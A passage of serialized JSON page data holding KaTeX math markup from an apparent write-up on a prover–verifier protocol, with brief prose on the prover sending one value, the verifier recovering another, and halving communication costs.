lassName":2698},[437],[2700],{"type":30,"value":440},{"type":25,"tag":271,"props":2702,"children":2704},{"className":2703,"style":338},[337],[],{"type":25,"tag":271,"props":2706,"children":2708},{"className":2707},[356],[2709],{"type":30,"value":1065},{"type":25,"tag":271,"props":2711,"children":2713},{"className":2712,"style":338},[337],[],{"type":25,"tag":271,"props":2715,"children":2717},{"className":2716},[285],[2718,2723],{"type":25,"tag":271,"props":2719,"children":2722},{"className":2720,"style":2721},[290],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":25,"tag":271,"props":2724,"children":2726},{"className":2725},[296],[2727,2732],{"type":25,"tag":271,"props":2728,"children":2730},{"className":2729,"style":1052},[296,297],[2731],{"type":30,"value":1055},{"type":25,"tag":271,"props":2733,"children":2735},{"className":2734},[982],[2736],{"type":25,"tag":271,"props":2737,"children":2739},{"className":2738},[987,1100],[2740,2785],{"type":25,"tag":271,"props":2741,"children":2743},{"className":2742},[992],[2744,2780],{"type":25,"tag":271,"props":2745,"children":2747},{"className":2746,"style":1918},[997],[2748],{"type":25,"tag":271,"props":2749,"children":2751},{"style":2750},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[2752,2756],{"type":25,"tag":271,"props":2753,"children":2755},{"className":2754,"style":1008},[1007],[],{"type":25,"tag":271,"props":2757,"children":2759},{"className":2758},[1013,1014,1015,1016],[2760],{"type":25,"tag":271,"props":2761,"children":2763},{"className":2762},[296,1016],[2764,2769,2775],{"type":25,"tag":271,"props":2765,"children":2767},{"className":2766},[296,297,1016],[2768],{"type":30,"value":1937},{"type":25,"tag":271,"props":2770,"children":2772},{"className":2771},[2071,1016],[2773],{"type":30,"value":2774},"−",{"type":25,"tag":271,"props":2776,"children":2778},{"className":2777},[296,1016],[2779],{"type":30,"value":968},{"type":25,"tag":271,"props":2781,"children":2783},{"className":2782},[1177],[2784],{"type":30,"value":1180},{"type":25,"tag":271,"props":2786,"children":2788},{"className":2787},[992],[2789],{"type":25,"tag":271,"props":2790,"children":2793},{"className":2791,"style":2792},[997],"height:0.2083em;",[2794],{"type":25,"tag":271,"props":2795,"children":2796},{},[],{"type":30,"value":2798}," (the previous claim), we have:",{"type":25,"tag":26,"props":2800,"children":2801},{},[2802],{"type":25,"tag":264,"props":2803,"children":2805},{"className":2804},[267,268],[2806],{"type":25,"tag":271,"props":2807,"children":2809},{"className":2808},[274],[2810],{"type":25,"tag":271,"props":2811,"children":2813},{"className":2812,"ariaHidden":280},[279],[2814,2840,2871,2902,3003,3029,3121],{"type":25,"tag":271,"props":2815,"children":2817},{"className":2816},[285],[2818,2822,2827,2831,2836],{"type":25,"tag":271,"props":2819,"children":2821},{"className":2820,"style":2475},[290],[],{"type":25,"tag":271,"props":2823,"children":2825},{"className":2824},[296,297],[2826],{"type":30,"value":83},{"type":25,"tag":271,"props":2828,"children":2830},{"className":2829,"style":2066},[337],[],{"type":25,"tag":271,"props":2832,"children":2834},{"className":2833},[2071],[2835],{"type":30,"value":2074},{"type":25,"tag":271,"props":2837,"children":2839},{"className":2838,"style":2066},[337],[],{"type":25,"tag":271,"props":2841,"children":2843},{"className":2842},[285],[2844,2848,2853,2858,2862,2867],{"type":25,"tag":271,"props":2845,"children":2847},{"className":2846,"style":375},[290],[],{"type":25,"tag":271,"props":2849,"children":2851},{"className":2850},[391],[2852],{"type":30,"value":394},{"type":25,"tag":271,"props":2854,"children":2856},{"className":2855},[296,297],[2857],{"type":30,"value":83},{"type":25,"tag":271,"props":2859,"children":2861},{"className":2860,"style":2066},[337],[],{"type":25,"tag":271,"props":2863,"children":2865},{"className":2864},[2071],[2866],{"type":30,"value":2074},{"type":25,"tag":271,"props":2868,"children":2870},{"className":2869,"style":2066},[337],[],{"type":25,"tag":271,"props":2872,"children":2874},{"className":2873},[285],[2875,2879,2884,2889,2893,2898],{"type":25,"tag":271,"props":2876,"children":2878},{"className":2877,"style":375},[290],[],{"type":25,"tag":271,"props":2880,"children":2882},{"className":2881},[296,297],[2883],{"type":30,"value":2508},{"type":25,"tag":271,"props":2885,"children":2887},{"className":2886},[437],[2888],{"type":30,"value":440},{"type":25,"tag":271,"props":2890,"children":2892},{"className":2891,"style":338},[337],[],{"type":25,"tag":271,"props":2894,"children":2896},{"className":2895},[356],[2897],{"type":30,"value":1065},{"type":25,"tag":271,"props":2899,"children":2901},{"className":2900,"style":338},[337],[],{"type":25,"tag":271,"props":2903,"children":2905},{"className":2904},[285],[2906,2910,2981,2985,2989,2995,2999],{"type":25,"tag":271,"props":2907,"children":2909},{"className":2908,"style":2721},[290],[],{"type":25,"tag":271,"props":2911,"children":2913},{"className":2912},[296],[2914,2919],{"type":25,"tag":271,"props":2915,"children":2917},{"className":2916,"style":1052},[296,297],[2918],{"type":30,"value":1055},{"type":25,"tag":271,"props":2920,"children":2922},{"className":2921},[982],[2923],{"type":25,"tag":271,"props":2924,"children":2926},{"className":2925},[987,1100],[2927,2970],{"type":25,"tag":271,"props":2928,"children":2930},{"className":2929},[992],[2931,2965],{"type":25,"tag":271,"props":2932,"children":2934},{"className":2933,"style":1918},[997],[2935],{"type":25,"tag":271,"props":2936,"children":2937},{"style":2750},[2938,2942],{"type":25,"tag":271,"props":2939,"children":2941},{"className":2940,"style":1008},[1007],[],{"type":25,"tag":271,"props":2943,"children":2945},{"className":2944},[1013,1014,1015,1016],[2946],{"type":25,"tag":271,"props":2947,"children":2949},{"className":2948},[296,1016],[2950,2955,2960],{"type":25,"tag":271,"props":2951,"children":2953},{"className":2952},[296,297,1016],[2954],{"type":30,"value":1937},{"type":25,"tag":271,"props":2956,"children":2958},{"className":2957},[2071,1016],[2959],{"type":30,"value":2774},{"type":25,"tag":271,"props":2961,"children":2963},{"className":2962},[296,1016],[2964],{"type":30,"value":968},{"type":25,"tag":271,"props":2966,"children":2968},{"className":2967},[1177],[2969],{"type":30,"value":1180},{"type":25,"tag":271,"props":2971,"children":2973},{"className":2972},[992],[2974],{"type":25,"tag":271,"props":2975,"children":2977},{"className":2976,"style":2792},[997],[2978],{"type":25,"tag":271,"props":2979,"children":2980},{},[],{"type":25,"tag":271,"props":2982,"children":2984},{"className":2983,"style":338},[337],[],{"type":25,"tag":271,"props":2986,"children":2988},{"className":2987,"style":338},[337],[],{"type":25,"tag":271,"props":2990,"children":2992},{"className":2991},[356],[2993],{"type":30,"value":2994},"⟹",{"type":25,"tag":271,"props":2996,"children":2998},{"className":2997,"style":338},[337],[],{"type":25,"tag":271,"props":3000,"children":3002},{"className":3001,"style":338},[337],[],{"type":25,"tag":271,"props":3004,"children":3006},{"className":3005},[285],[3007,3011,3016,3020,3025],{"type":25,"tag":271,"props":3008,"children":3010},{"className":3009,"style":326},[290],[],{"type":25,"tag":271,"props":3012,"children":3014},{"className":3013},[296,297],[3015],{"type":30,"value":2508},{"type":25,"tag":271,"props":3017,"children":3019},{"className":3018,"style":338},[337],[],{"type":25,"tag":271,"props":3021,"children":3023},{"className":3022},[356],[3024],{"type":30,"value":1065},{"type":25,"tag":271,"props":3026,"children":3028},{"className":3027,"style":338},[337],[],{"type":25,"tag":271,"props":3030,"children":3032},{"className":3031},[285],[3033,3037,3108,3112,3117],{"type":25,"tag":271,"props":3034,"children":3036},{"className":3035,"style":2721},[290],[],{"type":25,"tag":271,"props":3038,"children":3040},{"className":3039},[296],[3041,3046],{"type":25,"tag":271,"props":3042,"children":3044},{"className":3043,"style":1052},[296,297],[3045],{"type":30,"value":1055},{"type":25,"tag":271,"props":3047,"children":3049},{"className":3048},[982],[3050],{"type":25,"tag":271,"props":3051,"children":3053},{"className":3052},[987,1100],[3054,3097],{"type":25,"tag":271,"props":3055,"children":3057},{"className":3056},[992],[3058,3092],{"type":25,"tag":271,"props":3059,"children":3061},{"className":3060,"style":1918},[997],[3062],{"type":25,"tag":271,"props":3063,"children":3064},{"style":2750},[3065,3069],{"type":25,"tag":271,"props":3066,"children":3068},{"className":3067,"style":1008},[1007],[],{"type":25,"tag":271,"props":3070,"children":3072},{"className":3071},[1013,1014,1015,1016],[3073],{"type":25,"tag":271,"props":3074,"children":3076},{"className":3075},[296,1016],[3077,3082,3087],{"type":25,"tag":271,"props":3078,"children":3080},{"className":3079},[296,297,1016],[3081],{"type":30,"value":1937},{"type":25,"tag":271,"props":3083,"children":3085},{"className":3084},[2071,1016],[3086],{"type":30,"value":2774},{"type":25,"tag":271,"props":3088,"children":3090},{"className":3089},[296,1016],[3091],{"type":30,"value":968},{"type":25,"tag":271,"props":3093,"children":3095},{"className":3094},[1177],[3096],{"type":30,"value":1180},{"type":25,"tag":271,"props":3098,"children":3100},{"className":3099},[992],[3101],{"type":25,"tag":271,"props":3102,"children":3104},{"className":3103,"style":2792},[997],[3105],{"type":25,"tag":271,"props":3106,"children":3107},{},[],{"type":25,"tag":271,"props":3109,"children":3111},{"className":3110,"style":2066},[337],[],{"type":25,"tag":271,"props":3113,"children":3115},{"className":3114},[2071],[3116],{"type":30,"value":2774},{"type":25,"tag":271,"props":3118,"children":3120},{"className":3119,"style":2066},[337],[],{"type":25,"tag":271,"props":3122,"children":3124},{"className":3123},[285],[3125,3130,3135],{"type":25,"tag":271,"props":3126,"children":3129},{"className":3127,"style":3128},[290],"height:0.6444em;",[],{"type":25,"tag":271,"props":3131,"children":3133},{"className":3132},[296],[3134],{"type":30,"value":1326},{"type":25,"tag":271,"props":3136,"children":3138},{"className":3137},[296,297],[3139],{"type":30,"value":83},{"type":25,"tag":26,"props":3141,"children":3142},{},[3143,3145,3264,3266,3291],{"type":30,"value":3144},"So the prover only sends ",{"type":25,"tag":264,"props":3146,"children":3148},{"className":3147},[267,268],[3149],{"type":25,"tag":271,"props":3150,"children":3152},{"className":3151},[274],[3153],{"type":25,"tag":271,"props":3154,"children":3156},{"className":3155,"ariaHidden":280},[279],[3157,3184],{"type":25,"tag":271,"props":3158,"children":3160},{"className":3159},[285],[3161,3166,3171,3175,3180],{"type":25,"tag":271,"props":3162,"children":3165},{"className":3163,"style":3164},[290],"height:0.4306em;",[],{"type":25,"tag":271,"props":3167,"children":3169},{"className":3168},[296,297],[3170],{"type":30,"value":83},{"type":25,"tag":271,"props":3172,"children":3174},{"className":3173,"style":338},[337],[],{"type":25,"tag":271,"props":3176,"children":3178},{"className":3177},[356],[3179],{"type":30,"value":1065},{"type":25,"tag":271,"props":3181,"children":3183},{"className":3182,"style":338},[337],[],{"type":25,"tag":271,"props":3185,"children":3187},{"className":3186},[285],[3188,3192,3249,3254,3259],{"type":25,"tag":271,"props":3189,"children":3191},{"className":3190,"style":375},[290],[],{"type":25,"tag":271,"props":3193,"children":3195},{"className":3194},[296],[3196,3201],{"type":25,"tag":271,"props":3197,"children":3199},{"className":3198,"style":1555},[296,297],[3200],{"type":30,"value":1558},{"type":25,"tag":271,"props":3202,"children":3204},{"className":3203},[982],[3205],{"type":25,"tag":271,"props":3206,"children":3208},{"className":3207},[987,1100],[3209,3238],{"type":25,"tag":271,"props":3210,"children":3212},{"className":3211},[992],[3213,3233],{"type":25,"tag":271,"props":3214,"children":3216},{"className":3215,"style":1918},[997],[3217],{"type":25,"tag":271,"props":3218,"children":3219},{"style":1922},[3220,3224],{"type":25,"tag":271,"props":3221,"children":3223},{"className":3222,"style":1008},[1007],[],{"type":25,"tag":271,"props":3225,"children":3227},{"className":3226},[1013,1014,1015,1016],[3228],{"type":25,"tag":271,"props":3229,"children":3231},{"className":3230},[296,297,1016],[3232],{"type":30,"value":1937},{"type":25,"tag":271,"props":3234,"children":3236},{"className":3235},[1177],[3237],{"type":30,"value":1180},{"type":25,"tag":271,"props":3239,"children":3241},{"className":3240},[992],[3242],{"type":25,"tag":271,"props":3243,"children":3245},{"className":3244,"style":1619},[997],[3246],{"type":25,"tag":271,"props":3247,"children":3248},{},[],{"type":25,"tag":271,"props":3250,"children":3252},{"className":3251},[391],[3253],{"type":30,"value":394},{"type":25,"tag":271,"props":3255,"children":3257},{"className":3256},[296],[3258],{"type":30,"value":953},{"type":25,"tag":271,"props":3260,"children":3262},{"className":3261},[437],[3263],{"type":30,"value":440},{"type":30,"value":3265},", and the verifier recovers ",{"type":25,"tag":264,"props":3267,"children":3269},{"className":3268},[267,268],[3270],{"type":25,"tag":271,"props":3271,"children":3273},{"className":3272},[274],[3274],{"type":25,"tag":271,"props":3275,"children":3277},{"className":3276,"ariaHidden":280},[279],[3278],{"type":25,"tag":271,"props":3279,"children":3281},{"className":3280},[285],[3282,3286],{"type":25,"tag":271,"props":3283,"children":3285},{"className":3284,"style":326},[290],[],{"type":25,"tag":271,"props":3287,"children":3289},{"className":3288},[296,297],[3290],{"type":30,"value":2508},{"type":30,"value":3292},". This saves 50% on communication costs.",{"type":25,"tag":26,"props":3294,"children":3295},{},[3296],{"type":30,"value":3297},"The next claim in the chain is",{"type":25,"tag":26,"props":3299,"children":3300},{},[3301],{"type":25,"tag":264,"props":3302,"children":3304},{"className":3303},[267,268],[3305],{"type":25,"tag":271,"props":3306,"children":3308},{"className":3307},[274],[3309],{"type":25,"tag":271,"props":3310,"children":3312},{"className":3311,"ariaHidden":280},[279],[3313,3392,3537,3563,3590,3668,3694,3791,3827,3905,3941,4029,4121],{"type":25,"tag":271,"props":3314,"children":3316},{"className":3315},[285],[3317,3322,3379,3383,3388],{"type":25,"tag":271,"props":3318,"children":3321},{"className":3319,"style":3320},[290],"height:0.8333em;vertical-align:-0.15em;",[],{"type":25,"tag":271,"props":3323,"children":3325},{"className":3324},[296],[3326,3331],{"type":25,"tag":271,"props":3327,"children":3329},{"className":3328,"style":1052},[296,297],[3330],{"type":30,"value":1055},{"type":25,"tag":271,"props":3332,"children":3334},{"className":3333},[982],[3335],{"type":25,"tag":271,"props":3336,"children":3338},{"className":3337},[987,1100],[3339,3368],{"type":25,"tag":271,"props":3340,"children":3342},{"className":3341},[992],[3343,3363],{"type":25,"tag":271,"props":3344,"children":3346},{"className":3345,"style":1918},[997],[3347],{"type":25,"tag":271,"props":3348,"children":3349},{"style":2750},[3350,3354],{"type":25,"tag":271,"props":3351,"children":3353},{"className":3352,"style":1008},[1007],[],{"type":25,"tag":271,"props":3355,"children":3357},{"className":3356},[1013,1014,1015,1016],[3358],{"type":25,"tag":271,"props":3359,"children":3361},{"className":3360},[296,297,1016],[3362],{"type":30,"value":1937},{"type":25,"tag":271,"props":3364,"children":3366},{"className":3365},[1177],[3367],{"type":30,"value":1180},{"type":25,"tag":271,"props":3369,"children":3371},{"className":3370},[992],[3372],{"type":25,"tag":271,"props":3373,"children":3375},{"className":3374,"style":1619},[997],[3376],{"type":25,"tag":271,"props":3377,"children":3378},{},[],{"type":25,"tag":271,"props":3380,"children":3382},{"className":3381,"style":338},[337],[],{"type":25,"tag":271,"props":3384,"children":3386},{"className":3385},[356],[3387],{"type":30,"value":1065},{"type":25,"tag":271,"props":3389,"children":3391},{"className":3390,"style":338},[337],[],{"type":25,"tag":271,"props":3393,"children":3395},{"className":3394},[285],[3396,3400,3457,3462,3519,3524,3528,3533],{"type":25,"tag":271,"props":3397,"children":3399},{"className":3398,"style":375},[290],[],{"type":25,"tag":271,"props":3401,"children":3403},{"className":3402},[296],[3404,3409],{"type":25,"tag":271,"props":3405,"children":3407},{"className":3406,"style":1555},[296,297],[3408],{"type":30,"value":1558},{"type":25,"tag":271,"props":3410,"children":3412},{"className":3411},[982],[3413],{"type":25,"tag":271,"props":3414,"children":3416},{"className":3415},[987,1100],[3417,3446],{"type":25,"tag":271,"props":3418,"children":3420},{"className":3419},[992],[3421,3441],{"type":25,"tag":271,"props":3422,"children":3424},{"className":3423,"style":1918},[997],[3425],{"type":25,"tag":271,"props":3426,"children":3427},{"style":1922},[3428,3432],{"type":25,"tag":271,"props":3429,"children":3431},{"className":3430,"style":1008},[1007],[],{"type":25,"tag":271,"props":3433,"children":3435},{"className":3434},[1013,1014,1015,1016],[3436],{"type":25,"tag":271,"props":3437,"children":3439},{"className":3438},[296,297,1016],[3440],{"type":30,"value":1937},{"type":25,"tag":271,"props":3442,"children":3444},{"className":3443},[1177],[3445],{"type":30,"value":1180},{"type":25,"tag":271,"props":3447,"children":3449},{"className":3448},[992],[3450],{"type":25,"tag":271,"props":3451,"children":3453},{"className":3452,"style":1619},[997],[3454],{"type":25,"tag":271,"props":3455,"children":3456},{},[],{"type":25,"tag":271,"props":3458,"children":3460},{"className":3459},[391],[3461],{"type":30,"value":394},{"type":25,"tag":271,"props":3463,"children":3465},{"className":3464},[296],[3466,3471],{"type":25,"tag":271,"props":3467,"children":3469},{"className":3468,"style":2296},[296,297],[3470],{"type":30,"value":2299},{"type":25,"tag":271,"props":3472,"children":3474},{"className":3473},[982],[3475],{"type":25,"tag":271,"props":3476,"children":3478},{"className":3477},[987,1100],[3479,3508],{"type":25,"tag":271,"props":3480,"children":3482},{"className":3481},[992],[3483,3503],{"type":25,"tag":271,"props":3484,"children":3486},{"className":3485,"style":1918},[997],[3487],{"type":25,"tag":271,"props":3488,"children":3489},{"style":2318},[3490,3494],{"type":25,"tag":271,"props":3491,"children":3493},{"className":3492,"style":1008},[1007],[],{"type":25,"tag":271,"props":3495,"children":3497},{"className":3496},[1013,1014,1015,1016],[3498],{"type":25,"tag":271,"props":3499,"children":3501},{"className":3500},[296,297,1016],[3502],{"type":30,"value":1937},{"type":25,"tag":271,"props":3504,"children":3506},{"className":3505},[1177],[3507],{"type":30,"value":1180},{"type":25,"tag":271,"props":3509,"children":3511},{"className":3510},[992],[3512],{"type":25,"tag":271,"props":3513,"children":3515},{"className":3514,"style":1619},[997],[3516],{"type":25,"tag":271,"props":3517,"children":3518},{},[],{"type":25,"tag":271,"props":3520,"children":3522},{"className":3521},[437],[3523],{"type":30,"value":440},{"type":25,"tag":271,"props":3525,"children":3527},{"className":3526,"style":338},[337],[],{"type":25,"tag":271,"props":3529,"children":3531},{"className":3530},[356],[3532],{"type":30,"value":1065},{"type":25,"tag":271,"props":3534,"children":3536},{"className":3535,"style":338},[337],[],{"type":25,"tag":271,"props":3538,"children":3540},{"className":3539},[285],[3541,3545,3550,3554,3559],{"type":25,"tag":271,"props":3542,"children":3544},{"className":3543,"style":2475},[290],[],{"type":25,"tag":271,"props":3546,"children":3548},{"className":3547},[296,297],[3549],{"type":30,"value":83},{"type":25,"tag":271,"props":3551,"children":3553},{"className":3552,"style":2066},[337],[],{"type":25,"tag":271,"props":3555,"children":3557},{"className":3556},[2071],[3558],{"type":30,"value":2074},{"type":25,"tag":271,"props":3560,"children":3562},{"className":3561,"style":2066},[337],[],{"type":25,"tag":271,"props":3564,"children":3566},{"className":3565},[285],[3567,3571,3576,3580,3586],{"type":25,"tag":271,"props":3568,"children":3570},{"className":3569,"style":326},[290],[],{"type":25,"tag":271,"props":3572,"children":3574},{"className":3573},[296,297],[3575],{"type":30,"value":2508},{"type":25,"tag":271,"props":3577,"children":3579},{"className":3578,"style":2066},[337],[],{"type":25,"tag":271,"props":3581,"children":3583},{"className":3582},[2071],[3584],{"type":30,"value":3585},"⋅",{"type":25,"tag":271,"props":3587,"children":3589},{"className":3588,"style":2066},[337],[],{"type":25,"tag":271,"props":3591,"children":3593},{"className":3592},[285],[3594,3598,3655,3659,3664],{"type":25,"tag":271,"props":3595,"children":3597},{"className":3596,"style":2287},[290],[],{"type":25,"tag":271,"props":3599,"children":3601},{"className":3600},[296],[3602,3607],{"type":25,"tag":271,"props":3603,"children":3605},{"className":3604,"style":2296},[296,297],[3606],{"type":30,"value":2299},{"type":25,"tag":271,"props":3608,"children":3610},{"className":3609},[982],[3611],{"type":25,"tag":271,"props":3612,"children":3614},{"className":3613},[987,1100],[3615,3644],{"type":25,"tag":271,"props":3616,"children":3618},{"className":3617},[992],[3619,3639],{"type":25,"tag":271,"props":3620,"children":3622},{"className":3621,"style":1918},[997],[3623],{"type":25,"tag":271,"props":3624,"children":3625},{"style":2318},[3626,3630],{"type":25,"tag":271,"props":3627,"children":3629},{"className":3628,"style":1008},[1007],[],{"type":25,"tag":271,"props":3631,"children":3633},{"className":3632},[1013,1014,1015,1016],[3634],{"type":25,"tag":271,"props":3635,"children":3637},{"className":3636},[296,297,1016],[3638],{"type":30,"value":1937},{"type":25,"tag":271,"props":3640,"children":3642},{"className":3641},[1177],[3643],{"type":30,"value":1180},{"type":25,"tag":271,"props":3645,"children":3647},{"className":3646},[992],[3648],{"type":25,"tag":271,"props":3649,"children":3651},{"className":3650,"style":1619},[997],[3652],{"type":25,"tag":271,"props":3653,"children":3654},{},[],{"type":25,"tag":271,"props":3656,"children":3658},{"className":3657,"style":338},[337],[],{"type":25,"tag":271,"props":3660,"children":3662},{"className":3661},[356],[3663],{"type":30,"value":1065},{"type":25,"tag":271,"props":3665,"children":3667},{"className":3666,"style":338},[337],[],{"type":25,"tag":271,"props":3669,"children":3671},{"className":3670},[285],[3672,3676,3681,3685,3690],{"type":25,"tag":271,"props":3673,"children":3675},{"className":3674,"style":2475},[290],[],{"type":25,"tag":271,"props":3677,"children":3679},{"className":3678},[296,297],[3680],{"type":30,"value":83},{"type":25,"tag":271,"props":3682,"children":3684},{"className":3683,"style":2066},[337],[],{"type":25,"tag":271,"props":3686,"children":3688},{"className":3687},[2071],[3689],{"type":30,"value":2074},{"type":25,"tag":271,"props":3691,"children":3693},{"className":3692,"style":2066},[337],[],{"type":25,"tag":271,"props":3695,"children":3697},{"className":3696},[285],[3698,3702,3707,3778,3782,3787],{"type":25,"tag":271,"props":3699,"children":3701},{"className":3700,"style":375},[290],[],{"type":25,"tag":271,"props":3703,"children":3705},{"className":3704},[391],[3706],{"type":30,"value":394},{"type":25,"tag":271,"props":3708,"children":3710},{"className":3709},[296],[3711,3716],{"type":25,"tag":271,"props":3712,"children":3714},{"className":3713,"style":1052},[296,297],[3715],{"type":30,"value":1055},{"type":25,"tag":271,"props":3717,"children":3719},{"className":3718},[982],[3720],{"type":25,"tag":271,"props":3721,"children":3723},{"className":3722},[987,1100],[3724,3767],{"type":25,"tag":271,"props":3725,"children":3727},{"className":3726},[992],[3728,3762],{"type":25,"tag":271,"props":3729,"children":3731},{"className":3730,"style":1918},[997],[3732],{"type":25,"tag":271,"props":3733,"children":3734},{"style":2750},[3735,3739],{"type":25,"tag":271,"props":3736,"children":3738},{"className":3737,"style":1008},[1007],[],{"type":25,"tag":271,"props":3740,"children":3742},{"className":3741},[1013,1014,1015,1016],[3743],{"type":25,"tag":271,"props":3744,"children":3746},{"className":3745},[296,1016],[3747,3752,3757],{"type":25,"tag":271,"props":3748,"children":3750},{"className":3749},[296,297,1016],[3751],{"type":30,"value":1937},{"type":25,"tag":271,"props":3753,"children":3755},{"className":3754},[2071,1016],[3756],{"type":30,"value":2774},{"type":25,"tag":271,"props":3758,"children":3760},{"className":3759},[296,1016],[3761],{"type":30,"value":968},{"type":25,"tag":271,"props":3763,"children":3765},{"className":3764},[1177],[3766],{"type":30,"value":1180},{"type":25,"tag":271,"props":3768,"children":3770},{"className":3769},[992],[3771],{"type":25,"tag":271,"props":3772,"children":3774},{"className":3773,"style":2792},[997],[3775],{"type":25,"tag":271,"props":3776,"children":3777},{},[],{"type":25,"tag":271,"props":3779,"children":3781},{"className":3780,"style":2066},[337],[],{"type":25,"tag":271,"props":3783,"children":3785},{"className":3784},[2071],[3786],{"type":30,"value":2774},{"type":25,"tag":271,"props":3788,"children":3790},{"className":3789,"style":2066},[337],[],{"type":25,"tag":271,"props":3792,"children":3794},{"className":3793},[285],[3795,3799,3804,3809,3814,3818,3823],{"type":25,"tag":271,"props":3796,"children":3798},{"className":3797,"style":375},[290],[],{"type":25,"tag":271,"props":3800,"children":3802},{"className":3801},[296],[3803],{"type":30,"value":1326},{"type":25,"tag":271,"props":3805,"children":3807},{"className":3806},[296,297],[3808],{"type":30,"value":83},{"type":25,"tag":271,"props":3810,"children":3812},{"className":3811},[437],[3813],{"type":30,"value":440},{"type":25,"tag":271,"props":3815,"children":3817},{"className":3816,"style":2066},[337],[],{"type":25,"tag":271,"props":3819,"children":3821},{"className":3820},[2071],[3822],{"type":30,"value":3585},{"type":25,"tag":271,"props":3824,"children":3826},{"className":3825,"style":2066},[337],[],{"type":25,"tag":271,"props":3828,"children":3830},{"className":3829},[285],[3831,3835,3892,3896,3901],{"type":25,"tag":271,"props":3832,"children":3834},{"className":3833,"style":2287},[290],[],{"type":25,"tag":271,"props":3836,"children":3838},{"className":3837},[296],[3839,3844],{"type":25,"tag":271,"props":3840,"children":3842},{"className":3841,"style":2296},[296,297],[3843],{"type":30,"value":2299},{"type":25,"tag":271,"props":3845,"children":3847},{"className":3846},[982],[3848],{"type":25,"tag":271,"props":3849,"children":3851},{"className":3850},[987,1100],[3852,3881],{"type":25,"tag":271,"props":3853,"children":3855},{"className":3854},[992],[3856,3876],{"type":25,"tag":271,"props":3857,"children":3859},{"className":3858,"style":1918},[997],[3860],{"type":25,"tag":271,"props":3861,"children":3862},{"style":2318},[3863,3867],{"type":25,"tag":271,"props":3864,"children":3866},{"className":3865,"style":1008},[1007],[],{"type":25,"tag":271,"props":3868,"children":3870},{"className":3869},[1013,1014,1015,1016],[3871],{"type":25,"tag":271,"props":3872,"children":3874},{"className":3873},[296,297,1016],[3875],{"type":30,"value":1937},{"type":25,"tag":271,"props":3877,"children":3879},{"className":3878},[1177],[3880],{"type":30,"value":1180},{"type":25,"tag":271,"props":3882,"children":3884},{"className":3883},[992],[3885],{"type":25,"tag":271,"props":3886,"children":3888},{"className":3887,"style":1619},[997],[3889],{"type":25,"tag":271,"props":3890,"children":3891},{},[],{"type":25,"tag":271,"props":3893,"children":3895},{"className":3894,"style":338},[337],[],{"type":25,"tag":271,"props":3897,"children":3899},{"className":3898},[356],[3900],{"type":30,"value":1065},{"type":25,"tag":271,"props":3902,"children":3904},{"className":3903,"style":338},[337],[],{"type":25,"tag":271,"props":3906,"children":3908},{"className":3907},[285],[3909,3913,3918,3923,3928,3932,3937],{"type":25,"tag":271,"props":3910,"children":3912},{"className":3911,"style":375},[290],[],{"type":25,"tag":271,"props":3914,"children":3916},{"className":3915},[296,297],[3917],{"type":30,"value":83},{"type":25,"tag":271,"props":3919,"children":3921},{"className":3920},[391],[3922],{"type":30,"value":394},{"type":25,"tag":271,"props":3924,"children":3926},{"className":3925},[296],[3927],{"type":30,"value":968},{"type":25,"tag":271,"props":3929,"children":3931},{"className":3930,"style":2066},[337],[],{"type":25,"tag":271,"props":3933,"children":3935},{"className":3934},[2071],[3936],{"type":30,"value":2774},{"type":25,"tag":271,"props":3938,"children":3940},{"className":3939,"style":2066},[337],[],{"type":25,"tag":271,"props":3942,"children":3944},{"className":3943},[285],[3945,3949,3954,4011,4016,4020,4025],{"type":25,"tag":271,"props":3946,"children":3948},{"className":3947,"style":375},[290],[],{"type":25,"tag":271,"props":3950,"children":3952},{"className":3951},[296],[3953],{"type":30,"value":1326},{"type":25,"tag":271,"props":3955,"children":3957},{"className":3956},[296],[3958,3963],{"type":25,"tag":271,"props":3959,"children":3961},{"className":3960,"style":2296},[296,297],[3962],{"type":30,"value":2299},{"type":25,"tag":271,"props":3964,"children":3966},{"className":3965},[982],[3967],{"type":25,"tag":271,"props":3968,"children":3970},{"className":3969},[987,1100],[3971,4000],{"type":25,"tag":271,"props":3972,"children":3974},{"className":3973},[992],[3975,3995],{"type":25,"tag":271,"props":3976,"children":3978},{"className":3977,"style":1918},[997],[3979],{"type":25,"tag":271,"props":3980,"children":3981},{"style":2318},[3982,3986],{"type":25,"tag":271,"props":3983,"children":3985},{"className":3984,"style":1008},[1007],[],{"type":25,"tag":271,"props":3987,"children":3989},{"className":3988},[1013,1014,1015,1016],[3990],{"type":25,"tag":271,"props":3991,"children":3993},{"className":3992},[296,297,1016],[3994],{"type":30,"value":1937},{"type":25,"tag":271,"props":3996,"children":3998},{"className":3997},[1177],[3999],{"type":30,"value":1180},{"type":25,"tag":271,"props":4001,"children":4003},{"className":4002},[992],[4004],{"type":25,"tag":271,"props":4005,"children":4007},{"className":4006,"style":1619},[997],[4008],{"type":25,"tag":271,"props":4009,"children":4010},{},[],{"type":25,"tag":271,"props":4012,"children":4014},{"className":4013},[437],[4015],{"type":30,"value":440},{"type":25,"tag":271,"props":4017,"children":4019},{"className":4018,"style":2066},[337],[],{"type":25,"tag":271,"props":4021,"children":4023},{"className":4022},[2071],[4024],{"type":30,"value":2074},{"type":25,"tag":271,"props":4026,"children":4028},{"className":4027,"style":2066},[337],[],{"type":25,"tag":271,"props":4030,"children":4032},{"className":4031},[285],[4033,4037,4108,4112,4117],{"type":25,"tag":271,"props":4034,"children":4036},{"className":4035,"style":2721},[290],[],{"type":25,"tag":271,"props":4038,"children":4040},{"className":4039},[296],[4041,4046],{"type":25,"tag":271,"props":4042,"children":4044},{"className":4043,"style":1052},[296,297],[4045],{"type":30,"value":1055},{"type":25,"tag":271,"props":4047,"children":4049},{"className":4048},[982],[4050],{"type":25,"tag":271,"props":4051,"children":4053},{"className":4052},[987,1100],[4054,4097],{"type":25,"tag":271,"props":4055,"children":4057},{"className":4056},[992],[4058,4092],{"type":25,"tag":271,"props":4059,"children":4061},{"className":4060,"style":1918},[997],[4062],{"type":25,"tag":271,"props":4063,"children":4064},{"style":2750},[4065,4069],{"type":25,"tag":271,"props":4066,"children":4068},{"className":4067,"style":1008},[1007],[],{"type":25,"tag":271,"props":4070,"children":4072},{"className":4071},[1013,1014,1015,1016],[4073],{"type":25,"tag":271,"props":4074,"children":4076},{"className":4075},[296,1016],[4077,4082,4087],{"type":25,"tag":271,"props":4078,"children":4080},{"className":4079},[296,297,1016],[4081],{"type":30,"value":1937},{"type":25,"tag":271,"props":4083,"children":4085},{"className":4084},[2071,1016],[4086],{"type":30,"value":2774},{"type":25,"tag":271,"props":4088,"children":4090},{"className":4089},[296,1016],[4091],{"type":30,"value":968},{"type":25,"tag":2